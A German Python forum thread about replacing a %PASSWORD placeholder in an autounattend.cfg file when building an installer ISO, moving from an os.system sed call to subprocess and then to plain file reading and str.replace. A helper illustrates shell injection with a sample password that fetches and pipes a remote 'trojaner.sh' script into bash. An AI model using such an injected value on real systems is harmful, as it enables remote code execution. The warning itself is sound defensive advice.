String os.system zusammenbauen

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
Antworten
mimocloud
User
Beiträge: 31
Registriert: Freitag 3. Mai 2013, 15:12

Moin.

Brauch mal eure Hilfe!

Habe folgende Zeile:

Code: Alles auswählen

changepass = "sed s/%PASSWORD/" + args.password + "/g" "+ args.source +"/autounattended.cfg +"")

os.system(changepass)
Der String %PASSWORD befindet sich in der Datei autounattended.cfg unter dem Ordner welcher durch args.source übergeben wurde beim Programmaufruf!
Ist das soweit richtig wie ich das geschrieben habe bzw. auch konform?
Ich habe bis dato eigentlich noch nichts mit dem zusammenbau von strings gemacht daher auch meine dumme Fragerei.

---Ich werde das Gefühl nicht los das dass was ich da geschrieben habe falsch ist!---

Oder doch lieber sowas hier:

Code: Alles auswählen

for line in f1:
    if line.contains("%PASSWORD"):
        newline = line.replace("%PASSWORD", args.password)
das funkt aber leider auch nicht so ganz!

Für Tipp & Lösungen danke im Voraus!
Zuletzt geändert von Anonymous am Sonntag 5. Mai 2013, 08:27, insgesamt 1-mal geändert.
Grund: Quelltext in Python-Code-Tags gesetzt.
Tengel
User
Beiträge: 210
Registriert: Sonntag 17. März 2013, 12:29

Ich würde mal sagen das dass replace so nicht funktioniert.

Du musst ja als ersten Parameter angeben welchen Teil du ersetzten möchtest.
Du hast als ersten Parameter aber die Variable angegeben.

z. B.

Code: Alles auswählen

>>> falsch = "Python ist nicht super!" 
>>> richtig = falsch.replace("nicht", "richtig") 
>>> print(richtig) 
'Python ist richtig super!'
Sirius3
User
Beiträge: 18335
Registriert: Sonntag 21. Oktober 2012, 17:20

Hallo mimocloud,

hast Du Dir schonmal ausgeben lassen, was in »changepass« tatsächlich steht. So wie Du es gepostet hast, kann es nämlich nicht sein, da Deine Anführungszeichen etwas durcheinander geraten sind.

Um das zu verhindern, baut man Strings auch nicht mit + zusammen, sondern benutzt format:
Zum Beispiel:

Code: Alles auswählen

changepass = "sed s/%PASSWORD/{password}/g {source}/autounattended.cfg".format(
    password=args.password,
    source=args.source)
Das größte Problem bei diesem Ansatz ist aber, dass Du ungefiltert Commandos ausführst.
Mein Passwort lautet »; curl http:/xy/trojaner.sh | bash ;« und schon werden Befehle ausgeführt, die Du so nie wolltest.
Deshalb nimmt man nicht »os.system« sondern das »subprocess« Modul.

Code: Alles auswählen

regexp = "s/%PASSWORD/{password}/g".format(password=re.escape(args.password))
filename = os.path.join(args.source, 'autounattended.cfg')
subprocess.Popen(["sed", regexp, filename]).wait()
Das »re.escape« ist noch dazu da, dass »password« auch Sonderzeichen enthalten darf.
Jetzt sollte »sed« nur noch wissen, was es mit der Ausgabe tun soll.

In Deinem Fall ist aber eine reine Pythonlösung wahrscheinlich besser.
Leider hilft Dein »das funkt aber leider auch nicht so ganz!« uns nicht weiter.
Was hast Du versucht (nicht nur die drei Zeilen, sondern die ganze Ersetzungsfunktion)?
Was erwartest Du? Was bekommst Du? Wie lautet die Fehlermeldung?
BlackJack

@mimocloud: Ich habe die Quelltexte in Deinem Beitrag mal in Python-Code-Tags gesetzt, dann sieht man besser was im ersten Schnippsel innerhalb von Zeichenketten steht und was nicht. Diese Zeile kannst Du nicht exakt so in Deinem Programm haben, weil die wegen der Klammer am Ende syntaktisch falsch ist. Da steigt schon der Compiler aus, bevor das Programm ablaufen kann. Wenn man die Klammer entfernt, gibt es einen Laufzeitfehler, dass der Name `autounattended` nicht definiert ist.

Das zweite Beispiel würde mit einem Laufzeitfehler enden, weil Zeichenketten keine `contains()`-Methode besitzen. Diesen Test würde man mit dem ``in``-Operator machen. Er wäre an der Stelle aber auch überflüssig, denn wenn '%PASSWORD' nicht in der Zeile enthalten ist, dann würde der `replace()`-Aufruf die Zeile einfach unverändert zurück geben. Den Test vorher kann man sich also sparen.
mimocloud
User
Beiträge: 31
Registriert: Freitag 3. Mai 2013, 15:12

So ich will von ---BlackJack--- garnicht erst hören was ihm am code nicht passt. Es funktioniert soweit sehr GUT!

Code: Alles auswählen

import shutil
from tempfile import mktemp
import argparse
import os
import subprocess
import re

parser = argparse.ArgumentParser(description='Build ISO Image.') #Argumente umwandeln
parser.add_argument('--source', '-sr',
                    action='store',
                    help='Sourcepath -sr or --source')

parser.add_argument('--destination', '-dn',
                    action='store',
                    help='Targetpath -dn or --destination')

parser.add_argument('--password', '-pw',
                    action='store',
                    help='Root image password -pw or --password')

parser.add_argument('--networkmode', '-n',
                    action='store',
                    help='Networkmode -nm or --networkmode')

parser.add_argument('--ipadress', '-ip',
                    action='store',
                    help='Ipadress -ip or --ipadress')

parser.add_argument('--gateway', '-gw',
                    action='store',
                    help='Gateway -gw or --gateway')

parser.add_argument('--nameserver', '-ns',
                    action='store',
                    help='Nameserver -ns or --nameserver')

parser.add_argument('--netmask', '-nm',
                    action='store',
                    help='Netmask -nm or --netmask')

parser.add_argument('--hostename', '-hn',
                    action='store',
                    help='Hostname -hn or --hostname')

args = parser.parse_args()

final_path = mktemp(prefix='tmpiso_', dir=args.destination)
shutil.copytree(args.source, final_path)

regpass = "s/%PASSWORD/{password}/g".format(password=re.escape(args.password))
filename = os.path.join(final_path, 'autounattend.cfg')
subprocess.Popen(["sed", regpass, filename]).wait()

exit()
Ich will quasi das das die Datei >"autounattended.cfg"< welche das Word %PASSWORD enthält gegen die variable ausgetauscht wird, welche beim Programmaufruf durch -pw übergeben wird!
Derzeit erhalte ich von Ubuntu noch folgenden Fehler zurück:

"Die Shell gibt das ganze Dokument aus (Was ich hier jetzt nicht posten kann!)
und zeigt an das %PASSWORD durch meine -pw Angabe abgeändert wurde!...
Wenn ich jetzt in die Datei aber reingucke ist die Datei immer noch die gleiche wie zuvor, sprich %PASSWORD wurde nicht abgeändert!...
wie bring ich den dazu die Datei auf zu schreiben???"
Zuletzt geändert von Anonymous am Sonntag 5. Mai 2013, 13:08, insgesamt 1-mal geändert.
Grund: Quelltext in Python-Code-Tags gesetzt.
nomnom
User
Beiträge: 487
Registriert: Mittwoch 19. Mai 2010, 16:25

mimocloud hat geschrieben:So ich will von ---BlackJack--- garnicht erst hören was ihm am code nicht passt. Es funktioniert soweit sehr GUT!
Erstens finde ich dein Verhalten ganz schön hochnäsig, zweitens funktioniert es doch offensichtlich gar nicht, das nennst du dann "GUT"? ;)

Code: Alles auswählen

final_path = mktemp(prefix='tmpiso_', dir=args.destination)
# ...
filename = os.path.join(final_path, 'autounattend.cfg')
subprocess.Popen(["sed", regpass, filename]).wait()
Wenn ich jetzt in die Datei aber reingucke ist die Datei immer noch die gleiche wie zuvor, sprich %PASSWORD wurde nicht abgeändert!...
wie bring ich den dazu die Datei auf zu schreiben???"
Indem du die Datei veränderst, die du verändern willst, statt dies in irgendeinem temporären Ordner zu tun (wofür machst du das überhaupt?). Deinen "from tempfile import mktemp"-Import finde ich unschön, tempfile.mktemp ist doch auch nicht zu viel zu schreiben und außerdem sieht man auch daran, dass die Funktion aus dem tempfile-Modul stammt. Ansonsten solltest du dein Programm in Funktionen auslagern und das Programm, das ausgeführt werden soll, in eine eigene Funktion packen, die dann mit

Code: Alles auswählen

if __name__ == '__main__':
    main()
startest.

Edit: Ich sehe gerade, dass "sed" nur die veränderte Datei auf stdout schickt, entweder du fängst stdout auf (subprocess.check_output) oder du machst es auf die elegantere Art und Weise, indem du das re-Modul bemühst.
BlackJack

@nomnom: Da der zu ersetzende Wert fix ist, wäre `re` ein wenig übertrieben, IMHO.
EyDu
User
Beiträge: 4881
Registriert: Donnerstag 20. Juli 2006, 23:06
Wohnort: Berlin

mimocloud hat geschrieben:So ich will von ---BlackJack--- garnicht erst hören was ihm am code nicht passt. Es funktioniert soweit sehr GUT!
Starke Worte von jemandem, der es nicht schafft seinen Code in Codetags zu packen, obwohl Einrückung ein entscheidender Faktor bei Python ist, mit sr und dn sehr unübliche Abkürzkungen benutzt, nicht in der Lage ist "address" richtig zu schreiben, Hilfetexte ohne zusätzliche Information schreibt, mktemp benutzt um Ordner zu erstellen, keine Konstanten verwendet und ein sinnloses exit verwendet.

Wie willst du denn sonst lernen vernünftigen Code zu produzieren, wenn dir keiner sagt was du falsch machst?
Das Leben ist wie ein Tennisball.
nomnom
User
Beiträge: 487
Registriert: Mittwoch 19. Mai 2010, 16:25

BlackJack hat geschrieben:@nomnom: Da der zu ersetzende Wert fix ist, wäre `re` ein wenig übertrieben, IMHO.
Ah, ich dachte, "%" hätte bei sed eine besondere Bedeutung. Dann kann man natürlich auch gleich str.replace benutzen. Oder evtl. eine Template-Sprache, aber das wäre nur für %PASSWORD wahrscheinlich auch Overkill (wenn re schon übertrieben ist … ;)).
mimocloud
User
Beiträge: 31
Registriert: Freitag 3. Mai 2013, 15:12

Soso ;)
Ich meinte auch eigentlich nur das dieser Teil des Programm nicht funkt! Was genau das mit mktemp soll und wieso und warum ist meine Sache!
Ich benötige jetzt eure Hilfe für diesem Programmteil ganz unten in welchem das %PASSWORD ersetzt werden soll!
Ich bin für jede Hilfe sehr dankbar aber können wir endlich mal aufhören darüber zu labern wer was wo an dem code besser gemacht hätte.

!Das dient nicht der Problemlösung!


Mein Script läuft so und gut ist. Nur ich bekomme den String nicht ganz zusammen also wer helfen kann... Würde mich sehr freuen!
Benutzeravatar
snafu
User
Beiträge: 6908
Registriert: Donnerstag 21. Februar 2008, 17:31
Wohnort: Gelsenkirchen

@mimocloud: Wie schon gesagt wurde: `sed` schreibt standardmäßig seine Ausgabe in STDOUT (in der Regel dein Terminal). Wenn du willst, dass die Veränderung direkt in die Datei geschrieben wird, dann musst du `--inplace` bzw `-i` (abgekürzte Schreibweise) als zusätzliches Argument mitgeben.
nomnom
User
Beiträge: 487
Registriert: Mittwoch 19. Mai 2010, 16:25

Kann das denn so schwer sein?

Code: Alles auswählen

with open('autounattended.cfg') as f:
    # ich gehe mal davon aus, dass deine .cfg-Datei nicht größer
    # als ein paar kB ist. sollte sie mehrere GB groß sein, müsste
    # man sich wohl etwas effizienteres überlegen ;)
    processed_content = f.read().replace('%PASSWORD', args.password)

with open('wodushinhabenwillst', 'w') as f:
    f.write(processed_content)
mimocloud
User
Beiträge: 31
Registriert: Freitag 3. Mai 2013, 15:12

Hey danke erstmal für deine Antwort!

Wie bekomme ich den pfad da noch mit rein?
Derzeit liegt die Datei ja in dem Ordner welcher von mktemp erstellt wird!

Daher bekomme ich immer noch einen fehler zurück:

Code: Alles auswählen

Traceback (most recent call last):
  File "imagebuilder_linux.py", line 51, in <module>
    with open('autounattended.cfg') as f:
IOError: [Errno 2] No such file or directory: 'autounattended.cfg'
Das war ja auch mein Ursprüngliches Problem... Es muss ja der Pfad "final_path" übergeben werden!

Oder könnte ich jetzt das hier anwenden:

Code: Alles auswählen

filename = os.path.join(final_path, 'autounattend.cfg')
Ja ich weiß ich bin kein PRO ;)
nomnom
User
Beiträge: 487
Registriert: Mittwoch 19. Mai 2010, 16:25

mimocloud hat geschrieben:Oder könnte ich jetzt das hier anwenden:

Code: Alles auswählen

filename = os.path.join(final_path, 'autounattend.cfg')
Probier's doch einfach aus. Hint: Es funktioniert :roll: Auch wenn ich immer noch nicht verstehe, warum du dafür einen temporären Ordner anlegt, aber das scheint uns ja nichts anzugehen, hinterher könnten wir ja noch Verbesserungsvorschläge machen.
mimocloud
User
Beiträge: 31
Registriert: Freitag 3. Mai 2013, 15:12

Also ich kann es dir gerne sagen.
Ich erstelle ne ISO damit welche Einstellungen hat wie password, ip Adresse etc. Diese Datei ist eine Antwort Datei für eine Ubuntu Installation oder centos oder windows server. das ist alles!

Ich kopier alles nur aus einem Ordner in einen TEMP ordner damit ich niemals die reinen Quelldateien anpacke!


Mein code sieht jetzt so aus und immer bekomm ich noch einen FEHLER Grrr. ich hasse mich:

Code: Alles auswählen

# Copyright by Robin van der Linden
import shutil
from tempfile import mktemp
import argparse
import os
import subprocess
import re

parser = argparse.ArgumentParser(description='Build Cloud iso Image.') #Argumente umwandeln
parser.add_argument('--source', '-sr',
                    action='store',
                    help='Sourcepath -sr or --source')

parser.add_argument('--destination', '-dn',
                    action='store',
                    help='Targetpath -dn or --destination')

parser.add_argument('--password', '-pw',
                    action='store',
                    help='Root image password -pw or --password')

parser.add_argument('--networkmode', '-n',
                    action='store',
                    help='Networkmode -nm or --networkmode')

parser.add_argument('--ipadress', '-ip',
                    action='store',
                    help='Ipadress -ip or --ipadress')

parser.add_argument('--gateway', '-gw',
                    action='store',
                    help='Gateway -gw or --gateway')

parser.add_argument('--nameserver', '-ns',
                    action='store',
                    help='Nameserver -ns or --nameserver')

parser.add_argument('--netmask', '-nm',
                    action='store',
                    help='Netmask -nm or --netmask')

parser.add_argument('--hostename', '-hn',
                    action='store',
                    help='Hostname -hn or --hostname')

args = parser.parse_args()

final_path = mktemp(prefix='tmpiso_', dir=args.destination)
shutil.copytree(args.source, final_path)
passedit = os.path.join(final_path, 'autounattend.cfg')
processed_content_pass = passedit.read().replace('%PASSWORD', args.password)
processed_content_pass.write(processed_content_pass)
exit()

Fehler:

Code: Alles auswählen

Traceback (most recent call last):
  File "imagebuilder_linux.py", line 51, in <module>
    processed_content_pass = passedit.read().replace('%PASSWORD', args.password)
AttributeError: 'str' object has no attribute 'read'
Benutzeravatar
cofi
Python-Forum Veteran
Beiträge: 4432
Registriert: Sonntag 30. März 2008, 04:16
Wohnort: RGFybXN0YWR0

Dann benutze doch auch das, was nomnom vorgeschlagen hat.
mimocloud
User
Beiträge: 31
Registriert: Freitag 3. Mai 2013, 15:12

HALT STOP ich habs ;)


so hier der Code ;):

Code: Alles auswählen

# Copyright by Robin van der Linden
import shutil
from tempfile import mktemp
import argparse
import os
import subprocess
import re

parser = argparse.ArgumentParser(description='Build Cloud iso Image.') #Argumente umwandeln
parser.add_argument('--source', '-sr',
                    action='store',
                    help='Sourcepath -sr or --source')

parser.add_argument('--destination', '-dn',
                    action='store',
                    help='Targetpath -dn or --destination')

parser.add_argument('--password', '-pw',
                    action='store',
                    help='Root image password -pw or --password')

parser.add_argument('--networkmode', '-n',
                    action='store',
                    help='Networkmode -nm or --networkmode')

parser.add_argument('--ipadress', '-ip',
                    action='store',
                    help='Ipadress -ip or --ipadress')

parser.add_argument('--gateway', '-gw',
                    action='store',
                    help='Gateway -gw or --gateway')

parser.add_argument('--nameserver', '-ns',
                    action='store',
                    help='Nameserver -ns or --nameserver')

parser.add_argument('--netmask', '-nm',
                    action='store',
                    help='Netmask -nm or --netmask')

parser.add_argument('--hostename', '-hn',
                    action='store',
                    help='Hostname -hn or --hostname')

args = parser.parse_args()

final_path = mktemp(prefix='tmpiso_', dir=args.destination)
shutil.copytree(args.source, final_path)
passedit = os.path.join(final_path, 'autounattend.cfg')
s = open(passedit).read()
s = s.replace("%PASSWORD", args.password)
f = open(passedit, 'w')
f.write(s)
f.close()
exit()
Benutzeravatar
cofi
Python-Forum Veteran
Beiträge: 4432
Registriert: Sonntag 30. März 2008, 04:16
Wohnort: RGFybXN0YWR0

Und jetzt benutze was nomnom vorgeschlagen hat, dann werden sogar alle Dateien sauber geschlossen.
mimocloud
User
Beiträge: 31
Registriert: Freitag 3. Mai 2013, 15:12

So läuft thx @ all und auch an Blackjack! sry hatte miese laune
Antworten